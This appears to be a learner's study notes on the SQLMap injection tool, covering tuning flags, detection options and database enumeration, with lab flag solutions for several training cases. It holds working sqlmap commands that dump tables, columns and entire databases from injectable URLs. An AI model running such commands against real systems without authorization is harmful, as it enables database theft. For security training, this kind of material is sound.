SQLMap

Handling SQLMap Errors

we can use --parse-errors to parse the DBMS errors -t option will store the whole traffic content to an output file -v will give us verbose output. It uses a number system apparently to get the level of verbose --proxy Will allow us to redirect the traffic through a proxy

Attack Tuning

We can use --prefix and --suffix to append to a test like the following example:

sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"

--level goes from a rating of 1-5 the default is 1. the higher the level the less likely of success. So by default SQLMap tries the most successful attack vectors but you can extend it to include less likely of success vectors

--risk goes from 1-3 with the default being 1. it extends the risk level of causing problems at the target side i.e risk of DB entry loss or denial of service

you can check these when using them with -v level 3 or higher to get the values used in the payloads

it is generally not encouraged not to increase these because it increases the time significantly but you might have to for login pages or ones where OR is needed

--code can be used to detect differences between statuses example --code=400

--titles can look for the sublte difference in the changing of the title tag

--string can look for a specific string in the return such as --string=success

--text-only will remove all HTML tags and only look at the text

--technique allows us to custom define the SQLi technique we want to perform. Example --technique=BEU will only try Boolean based blind, error based, and union based

found the flag by modding the queries from yesterday

case 5:

sqlmap -r Case5.txt --threads 10 --dump -T flag5 --batch --level=3 --risk=3

Case 6: non standard columns

sqlmap -r Case6.txt --threads 10 --dump -T flag6 --batch --prefix='`)'

Note: no way in hell would I have found this without the hint

Case 7: union cols

sqlmap -r Case7.txt --threads 10 --dump -T flag7 --batch --union-cols=5

Note: Hint said to count the cols so i did and added the tag. Still would have never tried this blindly

Database Enumeration

Basic Database Data Enumeration

--banner will give us the database version banner --current-user will retrieve the current use --current-db will tell us the current database --is-dba will check if the current user has DBA rights

--tables -D databasename will retrieve all the tables of a database

if we want to retrieve data from a DB we can use --dump

sqlmap -u "http://www.galapagh0st.com/?id=1" --dump -T users -D exampleDatabase

The above sqlmap command will dump all the data from the table users from exampleDatabase

If we want to only grab certain columns then we can do the following command.

sqlmap -u "http://www.galapagh0st.com/?id=1" --dump -T users -D exampleDB -C name,surname

to do the above but grab them by their ordinal numbers we can do the following

sqlmap -u "http://www.galapagh0st.com/?id=1" --dump -T users -D exampleDB --start=2 --stop=3

We can do a conditional enumeration, essentially if we want to do a where like by doing the following:

sqlmap -u "http://www.galapagh0st.com/?id=1" --dump -T users -D exampleDB --where="name LIKE 'f%'"

the above will look for all users where the name begins with an f

if you want to include all the contents of a DB you can do the following

sqlmap -u "http://www.galapagh0st.com/?id=1" --dump -D exampleDatabase

or if we want to grab data from all databases we can do the following

sqlmap -u "http://www.galapagh0st.com/?id=1" --dump-all --exclude-sysdbs

Note this will also exclude the system DB stuff

Advanced Enumeration

SQLi SQLInjection SQLmap tools